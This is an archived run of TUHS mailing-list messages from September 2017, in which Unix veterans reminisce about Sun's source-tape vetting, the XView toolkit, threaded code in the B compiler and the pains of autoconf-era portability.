In-Reply-To: <alpine.BSF.2.21.1709140952510.89458@aneurin.horsfall.org>
References: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <201709130730.v8D7UNog003861@freefriends.org>
 <20170913133542.GJ24549@mcvoy.com>
 <alpine.BSF.2.21.1709140952510.89458@aneurin.horsfall.org>
Message-ID: <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>

Were there really that many comments that needed censoring?  It would be
nice to have the idealism to think of Sun as a freewheeling, uncensored
alternative to the corporate structure of DEC and IBM, but having seen the
"released" source for the early '90s Unix operating systems of all three I
never saw anything to indicate that there were censored inline curses
anywhere.  If anything, the DEC sources are now more informational by
virtue of still having a mostly complete changelog in the header.

-Henry

On 13 September 2017 at 19:55, Dave Horsfall <dave at horsfall.org> wrote:

> On Wed, 13 Sep 2017, Larry McVoy wrote:
>
> Yeah but not the SCCS history.  And the source tapes went through Bill
>> Shannon who would grep the source for swear words and other stuff before
>> blessing it.  At least that's how it was when I was there.
>>
>
> I would love to see his list; I might learn a few new words :-)
>
> --
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> suffer."
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/750a93d2/attachment.html>

From cym224 at gmail.com  Thu Sep 14 10:53:07 2017
From: cym224 at gmail.com (Nemo)
Date: Wed, 13 Sep 2017 20:53:07 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170913022333.GD24549@mcvoy.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
Message-ID: <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>

On 12/09/2017, Larry McVoy <lm at mcvoy.com> wrote (in part):
> And it worked.  Back at that time every open source (or closed source but
> sent around) project had makefiles that "just worked" on Sun machines.
> MIPS?  Well that's IRIX, yeah, you need to do this or that.  On a Sun?
> It just worked.

Oh, I nearly wept when I read this.  Building a typical project
nowadays is so painful -- the makefile works on one particular Linux
distro and woe betide the rest.

N.


From cym224 at gmail.com  Thu Sep 14 11:08:36 2017
From: cym224 at gmail.com (Nemo)
Date: Wed, 13 Sep 2017 21:08:36 -0400
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709131601.v8DG1GZs024063@darkstar.fourwinds.com>
References: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>
 <201709131601.v8DG1GZs024063@darkstar.fourwinds.com>
Message-ID: <CAJfiPzz0FRQ9Od4=5HE40egqsTyyrhU6j99Tz+HWtFRsediijg@mail.gmail.com>

On 13/09/2017, Jon Steinhart <jon at fourwinds.com> wrote (in part):
> Yes, it was originally SunTools and was renamed SunView.  But, XView was a
> bit different although my memory of it all might be fading.
>
> XView was a library that mapped SunView calls into X.  But, I have a faint
> memory that there was more to it than that.  I think that there was a
> conversion program that one had to run on the source code as part of the
> conversion, and that that processor put flagging comments in for things
> that couldn't automatically be converted.

My memory tends to be agree but as it last appeared in Solaris 9 and I
have no Solaris 9 machines left, I cannot verify.

N.


From henry.r.bent at gmail.com  Thu Sep 14 11:18:15 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 13 Sep 2017 21:18:15 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
Message-ID: <CAEdTPBcrAPGw+wCY=dtkhyeME_y-c6CaEn2dL5zmYQcHgWzOSA@mail.gmail.com>

On 13 September 2017 at 20:53, Nemo <cym224 at gmail.com> wrote:

> On 12/09/2017, Larry McVoy <lm at mcvoy.com> wrote (in part):
> > And it worked.  Back at that time every open source (or closed source but
> > sent around) project had makefiles that "just worked" on Sun machines.
> > MIPS?  Well that's IRIX, yeah, you need to do this or that.  On a Sun?
> > It just worked.
>
> Oh, I nearly wept when I read this.  Building a typical project
> nowadays is so painful -- the makefile works on one particular Linux
> distro and woe betide the rest.
>
> N.
>

Henry Spencer's final commandment, as preserved at
https://www.lysator.liu.se/c/ten-commandments.html , seems particularly apt
here.

Even now, in the days of configure scripts and their ilk, if your code
blindly assumes that a "common" function will be present then it is
destined to fail somewhere.

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/6db1ff44/attachment.html>

From lm at mcvoy.com  Thu Sep 14 12:10:23 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 13 Sep 2017 19:10:23 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>
References: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <201709130730.v8D7UNog003861@freefriends.org>
 <20170913133542.GJ24549@mcvoy.com>
 <alpine.BSF.2.21.1709140952510.89458@aneurin.horsfall.org>
 <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>
Message-ID: <20170914021023.GY24549@mcvoy.com>

I didn't see a lot but Shannon was very sensitive to appearing professional.

On Wed, Sep 13, 2017 at 08:18:06PM -0400, Henry Bent wrote:
> Were there really that many comments that needed censoring?  It would be
> nice to have the idealism to think of Sun as a freewheeling, uncensored
> alternative to the corporate structure of DEC and IBM, but having seen the
> "released" source for the early '90s Unix operating systems of all three I
> never saw anything to indicate that there were censored inline curses
> anywhere.  If anything, the DEC sources are now more informational by
> virtue of still having a mostly complete changelog in the header.
> 
> -Henry
> 
> On 13 September 2017 at 19:55, Dave Horsfall <dave at horsfall.org> wrote:
> 
> > On Wed, 13 Sep 2017, Larry McVoy wrote:
> >
> > Yeah but not the SCCS history.  And the source tapes went through Bill
> >> Shannon who would grep the source for swear words and other stuff before
> >> blessing it.  At least that's how it was when I was there.
> >>
> >
> > I would love to see his list; I might learn a few new words :-)
> >
> > --
> > Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> > suffer."
> >

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From lm at mcvoy.com  Thu Sep 14 13:14:41 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 13 Sep 2017 20:14:41 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>
References: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>
Message-ID: <20170914031440.GB24549@mcvoy.com>

On Wed, Sep 13, 2017 at 04:17:04PM +0100, Richard Tobin wrote:
> > The rest of your story is great, just one small correction.  SunView started
> > as something Sun specific but it pretty quickly became a library on top of
> > X11.  I'm not sure if it ever worked on X10, I think it did but I'm not sure.
> 
> As I recall it, SunTools (the original Sun window system) was renamed
> SunView, and the API was ported to X11 under the name XView.

Yeah, you are right, I dug up the makefile I was using and it says

LIBS            = -lxview -lolgx -lX11

I really kind of liked that toolkit, it was all key/value like so:

        panel = xv_create(
	    frame, PANEL,
            XV_WIDTH, WIDTH,
	    XV_HEIGHT, 30,
            PANEL_LAYOUT, PANEL_HORIZONTAL,
            XV_SHOW, FALSE,
	    NULL);

So the order of the args didn't really matter, I think the first one
maybe did because that was the parent but not sure, the rest could
be any order you wanted.  Pretty simple.

Not as simple as Ousterhout's TK stuff, to this day, that's my goto
gui toolkit.


From lm at mcvoy.com  Thu Sep 14 13:15:35 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 13 Sep 2017 20:15:35 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
Message-ID: <20170914031535.GC24549@mcvoy.com>

On Wed, Sep 13, 2017 at 08:53:07PM -0400, Nemo wrote:
> On 12/09/2017, Larry McVoy <lm at mcvoy.com> wrote (in part):
> > And it worked.  Back at that time every open source (or closed source but
> > sent around) project had makefiles that "just worked" on Sun machines.
> > MIPS?  Well that's IRIX, yeah, you need to do this or that.  On a Sun?
> > It just worked.
> 
> Oh, I nearly wept when I read this.  Building a typical project
> nowadays is so painful -- the makefile works on one particular Linux
> distro and woe betide the rest.

I tend to just use Debian and Debian derived releases and stuff works for
me.


From doug at cs.dartmouth.edu  Thu Sep 14 13:48:44 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Wed, 13 Sep 2017 23:48:44 -0400
Subject: [TUHS] B Source Code
Message-ID: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>

> Check out:  ybc: a compiler for B <https://github.com/Leushenko/ybc>

>From a historical standpoint, a plain B compiler lacks a very important
attribute of B in Unix. Yes, B presaged some C syntax. But its shining
property was that it produced threaded code, for which both compact
and expanded runtime support was available. The latter had software
paging. Thus B transcended the limited physical memory of the early
PDP-11s.

If you can't compile something, you can't run it.  A prime example was B
itself. Without software paging it would not have been able to recompile
itself, and Unix would not have been self-supporting.

Doug


From lm at mcvoy.com  Thu Sep 14 14:49:25 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 13 Sep 2017 21:49:25 -0700
Subject: [TUHS] B Source Code
In-Reply-To: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
References: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
Message-ID: <20170914044925.GG24549@mcvoy.com>

Doug, could you talk about this some more?  Sort of like Reddit's
explain it like I'm 5?  Assume I'm dense but want to learn and tell
me how this worked again.  Threaded?  I'm guessing you mean that it
did paging, did that need threads in the current sense?

On Wed, Sep 13, 2017 at 11:48:44PM -0400, Doug McIlroy wrote:
> > Check out:  ybc: a compiler for B <https://github.com/Leushenko/ybc>
> 
> >From a historical standpoint, a plain B compiler lacks a very important
> attribute of B in Unix. Yes, B presaged some C syntax. But its shining
> property was that it produced threaded code, for which both compact
> and expanded runtime support was available. The latter had software
> paging. Thus B transcended the limited physical memory of the early
> PDP-11s.
> 
> If you can't compile something, you can't run it.  A prime example was B
> itself. Without software paging it would not have been able to recompile
> itself, and Unix would not have been self-supporting.
> 
> Doug

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From alec.muffett at gmail.com  Thu Sep 14 15:33:05 2017
From: alec.muffett at gmail.com (Alec Muffett)
Date: Thu, 14 Sep 2017 06:33:05 +0100
Subject: [TUHS] B Source Code
In-Reply-To: <20170914044925.GG24549@mcvoy.com>
References: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
 <20170914044925.GG24549@mcvoy.com>
Message-ID: <CAFWeb9JALU6kWbPv0MC_WMoKZ+_6TBAuDtKvm5tWQ17s-qNMWQ@mail.gmail.com>

I only know what this means due to a stint on GCOS-3 and having my
boss/sysmgr explain that "threaded code" in the old sense could be smaller
than the equivalent CISC binary on the same machine:

https://en.m.wikipedia.org/wiki/Threaded_code

And no, it's not Threads :-)

- alec



On 14 Sep 2017 6:50 am, "Larry McVoy" <lm at mcvoy.com> wrote:

> Doug, could you talk about this some more?  Sort of like Reddit's
> explain it like I'm 5?  Assume I'm dense but want to learn and tell
> me how this worked again.  Threaded?  I'm guessing you mean that it
> did paging, did that need threads in the current sense?
>
> On Wed, Sep 13, 2017 at 11:48:44PM -0400, Doug McIlroy wrote:
> > > Check out:  ybc: a compiler for B <https://github.com/Leushenko/ybc>
> >
> > >From a historical standpoint, a plain B compiler lacks a very important
> > attribute of B in Unix. Yes, B presaged some C syntax. But its shining
> > property was that it produced threaded code, for which both compact
> > and expanded runtime support was available. The latter had software
> > paging. Thus B transcended the limited physical memory of the early
> > PDP-11s.
> >
> > If you can't compile something, you can't run it.  A prime example was B
> > itself. Without software paging it would not have been able to recompile
> > itself, and Unix would not have been self-supporting.
> >
> > Doug
>
> --
> ---
> Larry McVoy                  lm at mcvoy.com
> http://www.mcvoy.com/lm
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/96d9c9a3/attachment.html>

From imp at bsdimp.com  Thu Sep 14 15:44:33 2017
From: imp at bsdimp.com (Warner Losh)
Date: Wed, 13 Sep 2017 23:44:33 -0600
Subject: [TUHS] B Source Code
In-Reply-To: <CAFWeb9JALU6kWbPv0MC_WMoKZ+_6TBAuDtKvm5tWQ17s-qNMWQ@mail.gmail.com>
References: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
 <20170914044925.GG24549@mcvoy.com>
 <CAFWeb9JALU6kWbPv0MC_WMoKZ+_6TBAuDtKvm5tWQ17s-qNMWQ@mail.gmail.com>
Message-ID: <CANCZdfqDHP9+JrbcpjLRAEJ_HO16Svc=T1rFp=FeV6SfO8LMuA@mail.gmail.com>

On Wed, Sep 13, 2017 at 11:33 PM, Alec Muffett <alec.muffett at gmail.com>
wrote:

> I only know what this means due to a stint on GCOS-3 and having my
> boss/sysmgr explain that "threaded code" in the old sense could be smaller
> than the equivalent CISC binary on the same machine:
>
> https://en.m.wikipedia.org/wiki/Threaded_code
>
> And no, it's not Threads :-)
>

A PDP-11 FORTRAN compiler I used back in the day was implemented this way,
in part to make overlays easier (though I was young at the time, and never
understood this bit). Overlays, as you may recall, were paging for systems
that didn't support paging that swapped code (mostly) in/out as needed to
fixed locations. The overlay manager was a quite important thing, since it
automatically laid out the overlays based on calling sequences. Later
versions would use MMU flipping tricks and had them aligned to 8k
bounaries, but earlier versions were aligned to 512 boundaries to match the
block size on the disk (since code was read-only, the OVL files were used
to page code in). The Threading made the Fortran code smaller since the
meat of the code was elsewhere, often in an area that wasn't overlaid... At
least that's how my brain recalls things from 30-some years ago... Once I
went away to college and was on a VAX or DECsystem20 (and later Sun3's and
Sun4's), I swapped all this arcania out of my brain, so bit errors may have
occurred before I just swapped it back in :)

Based on Doug's description, it sure sounds familiar (and somewhat
triggering it turns out, but in a good way)...

There were also options to get co-routines, which is akin to a primitive
'threads' as we'd use the term today using an instruction that swapped the
top of the stack and the PC, but that's different...

Warner


> - alec
>
>
>
> On 14 Sep 2017 6:50 am, "Larry McVoy" <lm at mcvoy.com> wrote:
>
>> Doug, could you talk about this some more?  Sort of like Reddit's
>> explain it like I'm 5?  Assume I'm dense but want to learn and tell
>> me how this worked again.  Threaded?  I'm guessing you mean that it
>> did paging, did that need threads in the current sense?
>>
>> On Wed, Sep 13, 2017 at 11:48:44PM -0400, Doug McIlroy wrote:
>> > > Check out:  ybc: a compiler for B <https://github.com/Leushenko/ybc>
>> >
>> > >From a historical standpoint, a plain B compiler lacks a very important
>> > attribute of B in Unix. Yes, B presaged some C syntax. But its shining
>> > property was that it produced threaded code, for which both compact
>> > and expanded runtime support was available. The latter had software
>> > paging. Thus B transcended the limited physical memory of the early
>> > PDP-11s.
>> >
>> > If you can't compile something, you can't run it.  A prime example was B
>> > itself. Without software paging it would not have been able to recompile
>> > itself, and Unix would not have been self-supporting.
>> >
>> > Doug
>>
>> --
>> ---
>> Larry McVoy                  lm at mcvoy.com
>> http://www.mcvoy.com/lm
>>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/93ba6659/attachment.html>

From lars at nocrew.org  Thu Sep 14 15:06:27 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Thu, 14 Sep 2017 05:06:27 +0000
Subject: [TUHS] B Source Code
In-Reply-To: <20170914044925.GG24549@mcvoy.com> (Larry McVoy's message of
 "Wed, 13 Sep 2017 21:49:25 -0700")
References: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
 <20170914044925.GG24549@mcvoy.com>
Message-ID: <7wr2v998do.fsf@junk.nocrew.org>

Larry McVoy wrote:
> Doug McIlroy wrote:
>> B presaged some C syntax. But its shining property was that it
>> produced threaded code, for which both compact and expanded runtime
>> support was available.
> 
> Threaded?  I'm guessing you mean that it did paging, did that need
> threads in the current sense?

Read this:
https://en.wikipedia.org/wiki/Threaded_code


From rp at servium.ch  Thu Sep 14 19:35:49 2017
From: rp at servium.ch (Rico Pajarola)
Date: Thu, 14 Sep 2017 11:35:49 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
Message-ID: <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>

On Thu, Sep 14, 2017 at 2:53 AM, Nemo <cym224 at gmail.com> wrote:

> On 12/09/2017, Larry McVoy <lm at mcvoy.com> wrote (in part):
> > And it worked.  Back at that time every open source (or closed source but
> > sent around) project had makefiles that "just worked" on Sun machines.
> > MIPS?  Well that's IRIX, yeah, you need to do this or that.  On a Sun?
> > It just worked.
>
> Oh, I nearly wept when I read this.  Building a typical project
> nowadays is so painful -- the makefile works on one particular Linux
> distro and woe betide the rest.
>
I also wept a bit when reading this. I once built gnome from source (don't
ask why), on Solaris, IRIX, and HP-UX. That was also the month I learned
how to use "autoconf" and "libtool" as swearwords...

But on modern Linux? That's not my experience. Maybe we just have different
standards for "just works", but a typical "modern" open source project
nowadays "just works" (for my definition of just works) on pretty much any
modern system including FreeBSD (type: ./configure; make && make install).


> N.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/69d2b950/attachment.html>

From arnold at skeeve.com  Thu Sep 14 21:11:49 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Thu, 14 Sep 2017 05:11:49 -0600
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
Message-ID: <201709141111.v8EBBnXm021044@freefriends.org>

Rico Pajarola <rp at servium.ch> wrote:

> I also wept a bit when reading this. I once built gnome from source (don't
> ask why), on Solaris, IRIX, and HP-UX. That was also the month I learned
> how to use "autoconf" and "libtool" as swearwords...

Libtool for sure. Autoconf is something you have to come to a negotiated
truce with and then it's OK. :-)

> But on modern Linux? That's not my experience. Maybe we just have different
> standards for "just works", but a typical "modern" open source project
> nowadays "just works" (for my definition of just works) on pretty much any
> modern system including FreeBSD (type: ./configure; make && make install).

Like anything else, it depends on the quality, knowledge, and experience
of the developers.  The problem isn't really the Autotools as much as
inexperienced developers who don't understand that all the world is not
Linux and who thus feel free to assume way too many things.

We just went through the exercise of building the latest libpcap for
Linux, Solaris, AIX and HP-UX.  Nightmarish, due to dependency upon
flex, which in turn took an act of Congress in order to get it to build,
particularly on AIX, but also not so easy on the others.

OTOH, the older GNU projects, with experienced developers (gawk, Bash)
don't exhibit such issues.

My two cents (as one of those battle-scarred developers :-)

Arnold


From rp at servium.ch  Thu Sep 14 22:13:55 2017
From: rp at servium.ch (Rico Pajarola)
Date: Thu, 14 Sep 2017 14:13:55 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <201709141111.v8EBBnXm021044@freefriends.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
Message-ID: <CACwAiQnNufzr9V4N+Rp3wT+sHToaRNnFVK-imeAeuk3P-S7ScQ@mail.gmail.com>

On Thu, Sep 14, 2017 at 1:11 PM, <arnold at skeeve.com> wrote:

> Rico Pajarola <rp at servium.ch> wrote:
> > But on modern Linux? That's not my experience. Maybe we just have
> different
> > standards for "just works", but a typical "modern" open source project
> > nowadays "just works" (for my definition of just works) on pretty much
> any
> > modern system including FreeBSD (type: ./configure; make && make
> install).
>
> Like anything else, it depends on the quality, knowledge, and experience
> of the developers.  The problem isn't really the Autotools as much as
> inexperienced developers who don't understand that all the world is not
> Linux and who thus feel free to assume way too many things.
>
> We just went through the exercise of building the latest libpcap for
> Linux, Solaris, AIX and HP-UX.  Nightmarish, due to dependency upon
> flex, which in turn took an act of Congress in order to get it to build,
> particularly on AIX, but also not so easy on the others.
>
> OTOH, the older GNU projects, with experienced developers (gawk, Bash)
> don't exhibit such issues.
>
True, I'm amazed every time I try a really old version of some old GNU
software like bash 1.0 on a contemporary (but unusual) OS. No errors, no
warnings, nothing to fix-up manually. It just works.

My two cents (as one of those battle-scarred developers :-)
>
;)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/9f73e264/attachment.html>

From richard at inf.ed.ac.uk  Thu Sep 14 22:30:41 2017
From: richard at inf.ed.ac.uk (Richard Tobin)
Date: Thu, 14 Sep 2017 13:30:41 +0100 (BST)
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: Larry McVoy's message of Wed, 13 Sep 2017 20:14:41 -0700
Message-ID: <20170914123041.B4F851525F0F@macaroni.inf.ed.ac.uk>

> I really kind of liked that toolkit, it was all key/value like so:
> 
>         panel = xv_create(
> 	    frame, PANEL,
>             XV_WIDTH, WIDTH,
> 	    XV_HEIGHT, 30,
>             PANEL_LAYOUT, PANEL_HORIZONTAL,
>             XV_SHOW, FALSE,
> 	    NULL);
> 
> So the order of the args didn't really matter, I think the first one
> maybe did because that was the parent but not sure, the rest could
> be any order you wanted.  Pretty simple.

The first two were fixed; the prototype was

  Xv_object xv_create (Xv_opaque owner, Xv_pkg *pkg, ...);

The keywords (XV_WIDTH etc) contained a bitfield encoding the type and
cardinality of the value argument(s) so that the argument list could
be traversed without knowing every package's keywords.

Using NULL as the terminating argument looks unportable.

-- Richard

-- 
The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.



From ron at ronnatalie.com  Thu Sep 14 22:53:01 2017
From: ron at ronnatalie.com (Ronald Natalie)
Date: Thu, 14 Sep 2017 08:53:01 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <7wr2v998do.fsf@junk.nocrew.org>
References: <201709140348.v8E3mitl090309@tahoe.cs.Dartmouth.EDU>
 <20170914044925.GG24549@mcvoy.com> <7wr2v998do.fsf@junk.nocrew.org>
Message-ID: <169CB534-07C8-4A0B-83CD-A19D2320A043@ronnatalie.com>


>> 
>> Threaded?  I'm guessing you mean that it did paging, did that need
>> threads in the current sense?
> 
> Read this:
> https://en.wikipedia.org/wiki/Threaded_code

Yep, used to make heavy use of this back in my first post-college job writing database handlers in Macro11.    Each transaction was just a table of subroutine addresses.
This was about the last thing I had to do on a non-UNIX platform for years.



From chet.ramey at case.edu  Thu Sep 14 22:50:44 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 14 Sep 2017 08:50:44 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CACwAiQnNufzr9V4N+Rp3wT+sHToaRNnFVK-imeAeuk3P-S7ScQ@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <CACwAiQnNufzr9V4N+Rp3wT+sHToaRNnFVK-imeAeuk3P-S7ScQ@mail.gmail.com>
Message-ID: <d3a98a5f-20e8-af95-629d-4f02ea4cef03@case.edu>

On 9/14/17 8:13 AM, Rico Pajarola wrote:

> True, I'm amazed every time I try a really old version of some old GNU
> software like bash 1.0 on a contemporary (but unusual) OS. No errors, no
> warnings, nothing to fix-up manually. It just works.

If you have a version of bash-1.0, send it my way. We weren't quite as
careful with preserving milestone software versions in those days.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From steffen at sdaoden.eu  Thu Sep 14 23:21:46 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Thu, 14 Sep 2017 15:21:46 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <201709141111.v8EBBnXm021044@freefriends.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
Message-ID: <20170914132146.KCMCk%steffen@sdaoden.eu>

arnold at skeeve.com wrote:
 |Rico Pajarola <rp at servium.ch> wrote:
 |
 |> I also wept a bit when reading this. I once built gnome from source (don't
 |> ask why), on Solaris, IRIX, and HP-UX. That was also the month I learned
 |> how to use "autoconf" and "libtool" as swearwords...
 |
 |Libtool for sure. Autoconf is something you have to come to a negotiated
 |truce with and then it's OK. :-)

I cannot seem to reach that state.  I see that the m4 directory of
gawk v4.1.4 contains no less than 46 files with a total of 312 KB.
On top of that the root directory contains some configure related
files which sum up to about 500 KB.
I do not know how much manual work was necessary for the files in
m4, as i never have used autotools (except for a week or so doing
something -- now obsolete -- for groff, there m4/groff.m4 is about
50 KB and handcraft).  And when i look into the missing_d of gawk
i cannot help to wonder what all that is for.

But of course, what is the alternative?  My MUA has a handcrafted
75 KB config shell script but the make system no longer could
install: on e.g. UnixWare v7.1.4 because of problems of the system
make last time i tried (we could outsource that as a shell script
and simply invoke that though), it does not work on the Solaris 9
i have access to (via OpenCSW.org) because we cannot work around
a SIZE_MAX iirc that is only defined but to nothing etc. etc. etc.

 |> But on modern Linux? That's not my experience. Maybe we just have \
 |> different
 |> standards for "just works", but a typical "modern" open source project
 |> nowadays "just works" (for my definition of just works) on pretty much any
 |> modern system including FreeBSD (type: ./configure; make && make install).
 |
 |Like anything else, it depends on the quality, knowledge, and experience
 |of the developers.  The problem isn't really the Autotools as much as
 |inexperienced developers who don't understand that all the world is not
 |Linux and who thus feel free to assume way too many things.
 |
 |We just went through the exercise of building the latest libpcap for
 |Linux, Solaris, AIX and HP-UX.  Nightmarish, due to dependency upon
 |flex, which in turn took an act of Congress in order to get it to build,
 |particularly on AIX, but also not so easy on the others.
 |
 |OTOH, the older GNU projects, with experienced developers (gawk, Bash)
 |don't exhibit such issues.

Plan9 shows an impressive beauty regarding this topic, but it, of
course, is exclusive to a current Plan9.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From rp at servium.ch  Thu Sep 14 23:27:40 2017
From: rp at servium.ch (Rico Pajarola)
Date: Thu, 14 Sep 2017 15:27:40 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <d3a98a5f-20e8-af95-629d-4f02ea4cef03@case.edu>
